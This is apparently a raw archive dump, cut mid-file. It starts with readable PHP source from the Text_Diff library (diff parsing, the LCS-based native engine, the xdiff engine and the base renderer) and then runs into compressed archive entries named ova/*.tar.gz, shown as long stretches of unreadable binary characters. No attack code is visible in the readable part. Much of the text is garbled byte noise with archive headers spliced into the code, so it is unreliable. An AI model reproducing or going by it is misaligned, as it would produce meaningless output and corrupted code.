substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } PK"P['5>>Diff/Engine/native.phpnu[ 2, and some optimizations) are from * Geoffrey T. Dairiki . The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Geoffrey T. Dairiki * @package Text_Diff */ class Text_Diff_Engine_native { public $xchanged; public $ychanged; public $xv; public $yv; public $xind; public $yind; public $seq; public $in_seq; public $lcs; function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, $ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if (empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } PK$P[@[Diff/Engine/xdiff.phpnu[ * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } PK'P[ =gDiff/Renderer.phpnu[ $value) { $v = '_' . $param; if (isset($this->$v)) { $this->$v = $value; } } } /** * PHP4 constructor. */ public function Text_Diff_Renderer( $params = array() ) { self::__construct( $params ); } /** * Get any renderer parameters. * * @return array All parameters of this renderer object. */ function getParams() { $params = array(); foreach (get_object_vars($this) as $k => $v) { if ($k[0] == '_') { $params[substr($k, 1)] = $v; } } return $params; } /** * Renders a diff. * * @param Text_Diff $diff A Text_Diff object. * * @return string The formatted output. */ function render($diff) { $xi = $yi = 1; $block = false; $context = array(); $nlead = $this->_leading_context_lines; $ntrail = $this->_trailing_context_lines; $output = $this->_startDiff(); $diffs = $diff->getDiff(); foreach ($diffs as $i => $edit) { /* If these are unchanged (copied) lines, and we want to keep * leading or trailing context lines, extract them from the copy * block. */ if (is_a($edit, 'Text_Diff_Op_copy')) { /* Do we have any diff blocks yet? */ if (is_array($block)) { /* How many lines to keep as context from the copy * block. */ $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail; if (count($edit->orig) <= $keep) { /* We have less lines in the block than we want for * context => keep the whole block. */ $block[] = $edit; } else { if ($ntrail) { /* Create a new block with as many lines as we need * for the trailing context. */ $context = array_slice($edit->orig, 0, $ntrail); $block[] = new Text_Diff_Op_copy($context); } /* @todo */ $output .= $this->_block($x0, $ntrail + $xi - $x0, $y0, $ntrail + $yi - $y0, $block); $block = false; } } /* Keep the copy block as the context for the next block. */ $context = $edit->orig; } else { /* Don't we have any diff blocks yet? */ if (!is_array($block)) { /* Extract context lines from the preceding copy block. */ $context = array_slice($context, count($context) - $nlead); $x0 = $xi - count($context); $y0 = $yi - count($context); $block = array(); if ($context) { $block[] = new Text_Diff_Op_copy($context); } } $block[] = $edit; } if ($edit->orig) { $xi += count($edit->orig); } if ($edit->final) { $yi += count($edit->final); } } if (is_array($block)) { $output .= $this->_block($x0, $xi - $x0, $y0, $yi - $y0, $block); } return $output . $this->_endDiff(); } function _block($xbeg, $xlen, $ybeg, $ylen, &$edits) { $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen)); foreach ($edits as $edit) { switch (strtolower(get_class($edit))) { case 'text_diff_op_copy': $output .= $this->_context($edit->orig); break; case 'text_diff_op_add': $output .= $this->_added($edit->final); break; case 'text_diff_op_delete': $output .= $this->_deleted($edit->orig); break; case 'text_diff_op_change': $output .= $this->_changed($edit->orig, $edit->final); break; } } return $output . $this->_endBlock(); } function _startDiff() { return ''; } function _endDiff() { return ''; } function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { if ($xlen > 1) { $xbeg .= ',' . ($xbeg + $xlen - 1); } if ($ylen > 1) { $ybeg .= ',' . ($ybeg + $ylen - 1); } // this matches the GNU Diff behaviour if ($xlen && !$ylen) { $ybeg--; } elseif (!$xlen) { $xbeg--; } return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg; } function _startBlock($header) { return $header . "\n"; } function _endBlock() { return ''; } function _lines($lines, $prefix = ' ') { return $prefix . implode("\n$prefix", $lines) . "\n"; } function _context($lines) { return $this->_lines($lines, ' '); } function _added($lines) { return $this->_lines($lines, '> '); } function _deleted($lines) { return $this->_lines($lines, '< '); } function _changed($orig, $final) { return $this->_deleted($orig) . "---\n" . $this->_added($final); } } PKb#[F\ ova/Diff.php.php.tar.gznu[[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:PKb#[wKqqova/Engine.tar.gznu[=iwȑ_vFD񐯍8f2g{ތW*$[E҉g?UIiO2HޘjtWWWU N2I~{zA[ցhCF#؜{M1Û"mջ]vL8II5 H4d*r ȃN% `4x`q7n3JmjZy*r6$/у-6GmA]_ dem?D#KCwv&km:6M:+FwE+JXSd, Weɸױ^s4Ju)[tF|8b O,9|( d׎,*1)ïP\}]/s\xX$)qLA5~Ϳ wZͯu4ZnqSDv wߟy=D0<LXSWfA\D>YsUYjhPЌk.Y.^Ѥˆթ0q.aJU,kT TC$79,j%<쟱$գÄZ$+IugQ,nTIf٤)JRV ,+c2mtI ۥ[JeS $dǩ!y^Ϫ[WB[U(!AT__:!O:;i#wN~֓//x&@K$^!Hv'';>_xUgedf?3φ`;p͞ԩ% z&2Xˎz,KdY17e솨X bڊ\?I`YS%DGL:qO)}n g$A^ q$Qvr,a)QDW{2r$ k<ژ >9hOGrTRRE6Q N؞P2 n` c&bDgdB= DMß#Bqz ~Wh=K1DX= ;ulLO~sVz{?y%R$H1g?CB0S8'Y<1.&<&<oHK>^$46;*7HЩC5 9AeU׶Lܢ斔-P[ !ؽmvV8~MY)>Tjv5E7p,Cuho:dj][A.Huzߊ4˙^ |J1ωEC2r@@݁q%|=d|p"՞:: )D*iÖ 3 6؃^u hr/5\PמzVm3R-A${˕b(&O`M"{%iȵ$f5`!:tC^HSYk at%Ȗę_RbZ4Jk^{u`\?W #? ` Yo|)lvh;7܂ RM-`P{uӒlN$ހ#N0*%-ձGj\! jVjm:jNV6wooG,̫dBFk Ӫ2L ꦖ mNc,ǥL7eڡ7_T~f:ߗ5$*;p T́IT1UT1RKm\VJSf(g?0vv<@n.ZuX[ ghZl.k1,ckq#*z\豊3TS$@ 06eL[W Z}I:ˡkFÇz 1>U׵$SswfCa4NĿUtk&Hd7 Yh25-L݆hlŞZg]_"o?+!|n#tҡŧ֩-L,Q,iuz~4OUuX>4x|L|@|#7[G1zb%Trd]cZMUZMRm5zMu{TcV_&ҷC_,kR}D ȿO?lvh} g#<0NRɟN)q8d*m8ˡP m@^Saҙ>!ۼiɪ~y GjWAVcI$Aԙ<Fnzɺb}}} 7knwGa ܍.!6q2`ROH͖ ˏ3hc^W㮭lwTSCxaKScDPdy%J$ ,0̩]MCq-+ȏA8צW<$SQxp$hv<D^"W oԿCl ڌ!h1Wv O7 Te>Vrw'6,t  ˃,xA~.[,uV/5{'/劈iP;;ggD.~-xQuk4)e/c_!|ycrś&ȮC˒|#tG.Jjagƌ+L-a8;earu-[O)tʛ'kgKq-2Ww^H_l O:C(]KѥkoϯE}T " $ Q+m?ƔVe_ qi 4GKD+|:$@Dy(8WQr01Dm ʟI #(nfygD'®!ff3Ao`fm~_̱m|UC=>Tt:&AhH- ߴnD)^$l ̦$+ꀋoq@݂4K۷GNHfxCdu Z)@xʦ3ayaܬhvao&jh y2x0qLA-kE0FɨEIRE,,b2̘rRYR+hqy) 膷|5;Y!.| F8sbN? <̓l1=zwy꺹!Z+Ҫ(>miYV@<\X7$bW/M[ހ@NڬZ»XnE%2g彟^N0[[wTpz[PUQm ]Tk3UgY: O.OP, ]( yy \x0%gd(r疕UF_jҵV<+sX9rSRT4KdN(N6 2o4U] +#pR ̎tKvAs+nd{]É6dx.fJ1fX"U:E8Q h%ǭFH&`h  +vH͆e=iV`Yq;`4?Xo'u`i}0%CzJVB;YbSwÁ3[=ltFx]guc&W`A!B&])ъPHXzUg IN+y='LH=ZhYh+PAGK0T_ x>P3Sf6%E0J\ P#e,"1X@_.ܛN~B3c}2KgݴVVg$ ߀˸ꫲbO\mI 4q2a)Zph2SEfQMJU7KOG NFqs$Կ@wixqrPŬ˛[uFeϷA>{#܈PW(>25X; yTsl1:Wsr ` nd+ V̠aY̮8w⮾$+Vr,|Y-E4'x!=5F6lhՅcN|ZX&N Bèj]ڵ\he> sj-S.Ss=6b5A=:z|;KW΃eHr=p#[xtQ>w^:UEknt^o؂ UZE1bq˱:܃6(ꤝrp &8eV!ӪkStbw3`h^ٸPmd~NWS+^0;Njq 7݀* (D_A.Qi'( 0Ƽܒ>SUsUi*C/0:?breԪGgGכDT\01"_cv3GKnP]j׏Oڧ>3+k U~o#t$o?yً7o;y%R`4ZÒYVޢ 塺rlX^A;Wǯa& "WXv: SfY_fkF]Of@yae@>Z=Pׅ(ԁR+U4W,9v] KnIRO%{dkfZd+Wkɺ5̋{i^Bg S\pK7WSݝ[n|§Ju> ʾm<&E5Dӻ4ikC>J$Ve3K Ƈ/oZW,uZgFO˭w,:_G߿|<$c+O (}]Pn;e߄O$Hq21#1|ɨV~%0D`pK(1U"Ic}Ѳr,)G+>mﱈkwդSj07:F"7RTʘ/peIB]9oB:PP7)ol] j@o)34<TP{/ʡ<_dT6}Qo\v*xۆUl٘j^J<ۺx#YlHrJ^CJNxbSOxsHlhŵZ.78n Sp 6 p9y9@C RЅtBe4* ^;H8ppWeOgV?;t]뻩n7.rۗ<â8oPKc#[_}oova/ova.tar.gznu[}cWu0 %WJ^G3iFhFY'Iz4=Y/`?աn%$`L -15oyUefv]Js=sν]Z[O$ykm;ntt/rxsrvp9Ɉz ;?g'>=#5KOI1o[|ɓ7N0߯y}婿<1}ĕvo;g~?,_u_>oafuq|]p Ϸ^vVɟG> ٞ|_؈/~8sO >ĕo7}ǹ|奫xVoI>}m'׾>_O<*\i[ǯbW<=۫_?&'mWBe UKo{)n{]o~+ \;swj,>x[_\Rfn}ߥg'<誇y}'o{)˟|<3Wԙ+C ~_.y K+'^/\ 9?zӹjz}~ _"y^oy ϟ?l~y_{=?.~z?ŧ?`zg-lzwjm?u5lƿ'̫n uD_7wݰD-~O9N^g<R}[>}Z}u y?5Y{>ż֢7,*TO~/o8^|e'_: ׻/9#/|#o)}ſؾ2f+$_ oW>?}39{=&C?~~G sɫN~eߜ|aMm _ۻyz|1/~X ֻ?3mz5׿缔 {W~;DةOz^<=g^ܿy|۷W_y/|}O { W߲ϫyW'^\|o?z?g§J=5xmɍ/g^X蛷i/b7mN؃?Ιu x჏7k޾MYyGLu>E?8#~_xqby?izW_BX3KMKL~ѵxϹ{{s/1G76Z'v~gr{K_~'W=O?n!_\<_?i~oh=X|xS=GE}C=Kw\?i_{?]gyoz=c7zL<+~Gߺ^OQo-,_>7\t^|!Oo> ɹwЯp^_۞fo=~#Wyr٫?o|k&t|3nha?P/˯_p՗W˯~}{w>ڻG~{z}<-f7(/*ډΗ^󃿼ۅg^cw>com?y|'ry%kz|zf5/Gp^~=u]Ǽvm9/m[kRӯGů+ 47>>>}+w}~[?{KYo薋{޿|ul|zؗ}_1m,G󉟷5/ȿiC}xYK74xf}/}?pm?w|Iŋӯ˒w~I!ӓ= 8|K^/˗G?>w_enY[܇&$i6[l'o;ssbG_ߧC_7ɿ?''W2~#o^}O_?gۻ}_5G?Ͽ|C}1N?̏6g}?~fًϼ:7-FӚ^|%/?ʗ|ox?^?!EHwQ;W+i| }ꋿ7Z_~}ݗ=~oxWCh麙֞G|=z~;;Wu[ovK6굽G_ai+?;sswV~_[|~}J<_|O^г3>z'Jow]wn}Vd!ׯle7|Q/hIO־}0o^xG׿3jNߦm7t+_T}቟'n2_OD)/v_yxCo_/^Ƿ^YA!pʋ#o|٧>4+7_^M[3z#/x}ncַ=jܷwϛ#78gUo>O}#/?lV/v>{I~ie-/~~~ןy ?95'_N7wn̐?~o&o}_ڸ~ǏOoNj =ڋfw??P=h߅mk;].˥E~~t?BԄFMԪ3nV.9"(Qv*p\`K؎DZK$*]kHs,*r"Ql"$&#Sd[s<ӓr593iL2\fw)]$C נmlJv[x^!¶ @2ODk#~ߚe!;$Nߚ$ 2fl[nk-W8P5lTD߶nW c&l-~`}d "Ea,r6Yx+Ң4̠+3$Ku+R,(S-Zh1d1HR2 v8C|B9`6O `P`'֥J8Kj5Ԁɖ&MFH`K&Td"rB86CB g!x ~ C*'nd0(߶<@i)CW, .6ˎ`]XK-V"2)e `` i g `R"lRH5plJ$CL6/tH~8^49Y!hZCATX mt#("djgD$ hs(d&a($+0IN[s4X_;\[Dsp2ڄЖtILO!i<F `22} ppmnhlxID2Ihx?dUΦ*]0|}DR ?"7@Jd"˶\f tk_áY@F  J`( })@T/ " $$I>ĵykQo"TYm4,BMG!!$R+jT2@܍2PkXs,, pA?P( ?g'c ZCBo$N9ʀx:K J!t( Ջ!q ΒK,%@0c8 0ɵ(rVE"rRX^*+p)ITrY)O i7^) {k@aKIKH#Iic I@QYҏa(9T }X&h$ˀPRZTs JVԠԩPd[HJ!AuB7*XA%6ZU5 @"ޢ" RUDR6 !Q$ ʒ |ᚘ3pjM+ 8ח (Hl&p Ə "0 %H4}RW`NAɦA$MB$YjmFB~#EE$HdLn/7,١ԓ8.&4 Z)yt%@5QL"DGbSA6X 5Hdр!-Tb3b,`9&KM,lGr@b:HH- C%} [c]d# FN8 ( !ı`DӟA Gx7^ $4+ Ȧ,Ҩc@:LCeQ B;)@YCI\v{S=<Ud;( V%԰"V'Jph IyfMفꏓSY~ 'eH'F, P*i7 nfK3ѵh6w L B.G~51 ЦGAǶ@ 66V n؆i+h0EZkdIbJ*\}azd4Y&=VBs& TIFPB iY;0 0@n@ l =, (9D ThJD=D#قP >@0A @= (8k a%PÖ"iUt-lm !FM59Cj;9)Y1 a@f29o< H1!25@\H760H9]M):T:$9NIa9B0^rdJƶdķfyԁdTmõIeJ`V)Iݬj`FKi$>A.iPTZ5J5v Xz2z|hḊPH[&:'%T'S+%Yq-6-EUnDNdLclhP&K0 M8^NDOI ՜7(/fҸG+Ϛ0ɲ#$Ϳ4\@59 9 dlT5XB,F?'  lP􌴦K+Ъ$w0$s]Ak:jԭWǎGF3ha1[v2Q(@&S4]ZMƂu@ p$dtp UVdN @ pI Zf!JYmU&ht2 V$&&t#q@gA G h@N 5EĔDAej52IcA ]Aqyb{hz 3xE{ eZ(ɡU RGڀ V*03hRr噅ljXE#i*^r*eL$d_8lW&,* )ͳ6Gt`*\X$q!{IM*@hЪ P0"ڠqMy뎚Vˁ`z(O`=sIVͷ@QJPS,5!j)*0b-9=w|SAM rk\fmh aCx() #J TF2U0ic j|Ž8 cb@2J^ny+&͖ J@'\@T!e` =@f?~_0C AMʫ@n Uʤ`i?n[0"=z`9U`NưP ԡKDnQz`--0:`./ږbn3(PJ(ڴ qaʺaYOK D@r;!ܛ8ϵ[<8΢7v޸lp:MȬ @*Jal@ے6qȯP4VJ*6գQQbNs4F; u-8M(4A, ֜}'Cq@fߢVvlejZפo\ 8 kN>VgdcR$7vbkb}tAPZL {aʴфX6R>L)[% *עX , 1˝!ƣUZoZL e!+FU`+rH0p/i&`MwZf8Bap2uDcsX&RH;IT")YBך<gW4~"W<\ՠx@y45S',*bA$YFTdnawU )IKJq]gی(4Y ؒК]. Ha`5+m$tX0CV1,bv4`AG,D0=ܲlGSԈ<(R7k4I<4\P~V'Y815VE5xjqe+[-eqdY/>h1 ]Y WVuG?UW)KB* @8ŸnDqLZ@ 2?& 7b{,\u>`7O]flm ShZv AzAj (TBcjk`DAMb޺W̧a:]D^-j!(2u݅EI\ AUՍMPFz'(Lh~4'ц)-qg V%eIQ@GAQxRMF)25%"(}ApR8 NI$K ;GuO4k5^IHZqs6r0G`cR|S'eJI FyHHXꜜb Tb9 #<D`5Bh>@Sad5,s6 b08&5Y7&pSـۥyxb)#s]cѰ$Ѥ:W 8Ihxc(Ւ~4aOVrVخprˠitp*TF$[bAR)6?$T!7> SB_WC!ϷC¯򇂏σn rm9A HqbqX$!AwZe% MFҭz L<76Ik$ Ma w}2` \\i:,{VSiRrP=.Z% ,ee"Y N84|Ha T,%}Pmis9QyQJ o"4N)̏Ec#4%uK$ƬviJM/H1ͥ`&غ4וWO,Xdk 69oʼ^[ 2O YFbu;Y N*m0\YS^D-6#<5 j,SJٚ4*W10f_^ĸ:}04/ n )I5;𵬪^3?{mNF*"$9 RRäS4&g-MJ(j4]xrR +=!7jAQeړĺ)( 093`f_:v1)wFwF. 䔚7M7U&>]&qe+T'Q=L1fT jB#+H&I$bDt3eɰUU2uȡ g\TjByRе%{ 